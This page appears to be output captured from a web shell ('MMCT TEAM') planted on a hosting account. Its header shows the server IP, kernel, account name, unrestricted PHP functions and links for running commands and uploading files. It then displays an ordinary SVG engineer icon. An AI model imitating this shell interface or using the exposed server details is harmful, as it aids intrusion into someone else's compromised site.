MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.183
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/paceconsultant/assets/imgs/home/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/paceconsultant/assets/imgs/home/engineer.svg
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 499.104 499.104" style="enable-background:new 0 0 499.104 499.104;" xml:space="preserve">
<g>
	<g>
		<g>
			<path fill="#002e5b" d="M372,233.552c11.024,0,20-8.976,20-20s-8.976-20-20-20s-20,8.976-20,20S360.976,233.552,372,233.552z M372,209.552
				c2.208,0,4,1.792,4,4s-1.792,4-4,4s-4-1.792-4-4S369.792,209.552,372,209.552z"/>
			<path fill="#002e5b" d="M304,213.552c0-11.024-8.976-20-20-20s-20,8.976-20,20s8.976,20,20,20S304,224.576,304,213.552z M284,217.552
				c-2.208,0-4-1.792-4-4s1.792-4,4-4s4,1.792,4,4S286.208,217.552,284,217.552z"/>
			<path fill="#002e5b" d="M368,265.552h-16c0,13.232-10.768,24-24,24s-24-10.768-24-24h-16c0,22.056,17.944,40,40,40
				C350.056,305.552,368,287.608,368,265.552z"/>
			<path fill="#002e5b" d="M104,289.552c13.232,0,24-10.768,24-24s-10.768-24-24-24s-24,10.768-24,24S90.768,289.552,104,289.552z M104,257.552
				c4.408,0,8,3.592,8,8c0,4.408-3.592,8-8,8s-8-3.592-8-8C96,261.144,99.592,257.552,104,257.552z"/>
			<path fill="#002e5b" d="M472.736,370.44c-6.584-19.728-23.408-34.112-43.92-37.528l-52.224-8.704c21.784-12.856,38.024-34.032,44.384-59.152
				C440.664,262.568,456,245.904,456,225.552v-50.224c4.76-2.776,8-7.88,8-13.776v-16c0-6.016-3.368-11.2-8.288-13.928
				C452.848,74.064,408.92,26.376,352,18.744v-1.192c0-8.824-7.176-16-16-16h-16c-8.824,0-16,7.176-16,16v1.192
				c-56.92,7.632-100.848,55.32-103.712,112.88c-4.92,2.728-8.288,7.912-8.288,13.928v16c0,5.896,3.24,11,8,13.776v50.224
				c0,20.352,15.336,37.016,35.032,39.496c6.36,25.128,22.6,46.296,44.384,59.152l-52.224,8.704
				c-18.024,3-33.192,14.48-41.08,30.616L152,256.312v-9.96h-0.08c-0.392-14.032-10.536-25.64-23.92-28.232v-48.568H80v48.568
				c-13.384,2.584-23.52,14.2-23.92,28.232H56v9.96L1.264,428.352C0.424,430.976,0,433.704,0,436.464v2.344
				c0,10.92,6.6,20.304,16,24.448v34.296h16v-32.584c9.096-1.832,16.792-8.272,19.96-17.256l13.464-38.16h77.152l13.464,38.16
				c3.168,8.976,10.864,15.416,19.96,17.256v32.584h16v-34.288c6.112-2.696,11.016-7.6,13.712-13.712h293.392L472.736,370.44z
				 M423.664,248.184c0.152-2.2,0.336-4.392,0.336-6.632v-38.528c9.288,3.312,16,12.112,16,22.528
				C440,236.088,433.128,244.968,423.664,248.184z M440,193.76c-4.672-3.536-10.056-6.184-16-7.392v-8.816h16V193.76z M320,17.552
				h16v80h-16l-0.008-80H320z M304,34.84v62.712c0,8.824,7.176,16,16,16h16c8.824,0,16-7.176,16-16V34.84
				c9.52,1.48,18.576,4.272,27.048,8.152l-17.584,86.56h-66.92l-17.592-86.56C285.424,39.112,294.48,36.312,304,34.84z
				 M262.296,51.232l15.912,78.32h-61.824C218.896,97.112,236.488,68.592,262.296,51.232z M216,225.552
				c0-10.416,6.712-19.216,16-22.528v38.528c0,2.24,0.184,4.432,0.336,6.632C222.872,244.968,216,236.088,216,225.552z M216,193.752
				v-16.2h16v8.808C226.056,187.576,220.672,190.216,216,193.752z M208,161.552v-16h200v-16h-30.208l15.912-78.32
				c25.808,17.36,43.4,45.88,45.904,78.32H424v16h24v16H208z M248,241.552v-64h160v64c0,44.112-35.888,80-80,80
				S248,285.664,248,241.552z M96,185.552h16v32H96V185.552z M85.624,233.552h36.752c7.512,0,13.624,6.112,13.624,13.624
				c0,1-0.112,1.992-0.328,2.96l-11.72,52.752c-1.392,6.28-6.864,10.664-13.296,10.664H97.352c-6.44,0-11.904-4.384-13.304-10.664
				l-11.72-52.76c-0.216-0.96-0.328-1.952-0.328-2.952C72,239.664,78.112,233.552,85.624,233.552z M125.632,361.552H82.36
				l11.4-32.304c1.192,0.144,2.368,0.304,3.584,0.304h13.304c1.216,0,2.4-0.16,3.584-0.304L125.632,361.552z M36.872,442.384
				c-1.52,4.288-5.584,7.168-10.128,7.168c-5.92,0-10.744-4.824-10.744-10.744v-2.344c0-1.104,0.168-2.2,0.504-3.256l47.168-148.24
				l4.76,21.384c1.528,6.896,5.328,12.736,10.512,16.832L36.872,442.384z M71.072,393.552l5.648-16h54.56l5.648,16H71.072z
				 M192,438.808c0,5.92-4.824,10.744-10.744,10.744c-4.544,0-8.616-2.88-10.128-7.168l-42.072-119.2
				c5.184-4.096,8.976-9.936,10.512-16.832l4.752-21.392l47.168,148.248c0.344,1.048,0.512,2.152,0.512,3.256V438.808z
				 M233.76,433.552l6.088-30.432l-15.688-3.144l-6.72,33.576h-9.664c-0.192-1.76-0.496-3.504-1.032-5.2l-12.656-39.768l4.36-13.08
				c4.696-14.096,16.72-24.368,31.376-26.808l36.32-6.056l-11.536,28.84l16.232,16.232l-8,24l21.84,21.84H233.76z M307.312,433.552
				l-26.16-26.16l8-24l-15.768-15.768l11.232-28.064l4.464-0.744c0.512,2.152,1.208,4.232,2.056,6.24l18.968,88.496H307.312z
				 M329.528,433.552h-3.064L312,366.064c4.928,2.168,10.296,3.488,16,3.488c5.704,0,11.072-1.32,15.992-3.488L329.528,433.552z
				 M328,353.552c-9.56,0-17.768-5.664-21.624-13.776l-1.08-5.056c7.288,1.784,14.872,2.832,22.704,2.832
				c7.832,0,15.416-1.048,22.712-2.824l-1.088,5.056C345.768,347.888,337.56,353.552,328,353.552z M345.896,433.552l18.968-88.504
				c0.848-2,1.544-4.08,2.056-6.24l4.464,0.752l11.232,28.064l-15.768,15.768l8,24l-26.16,26.16H345.896z M431.848,399.984
				l-15.688,3.144l6.08,30.424h-50.928l21.84-21.84l-8-24l16.232-16.232l-11.536-28.84l36.32,6.056
				c14.664,2.44,26.68,12.712,31.384,26.808l19.352,58.048H438.56L431.848,399.984z"/>
		</g>
	</g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</svg>

MMCT - 2023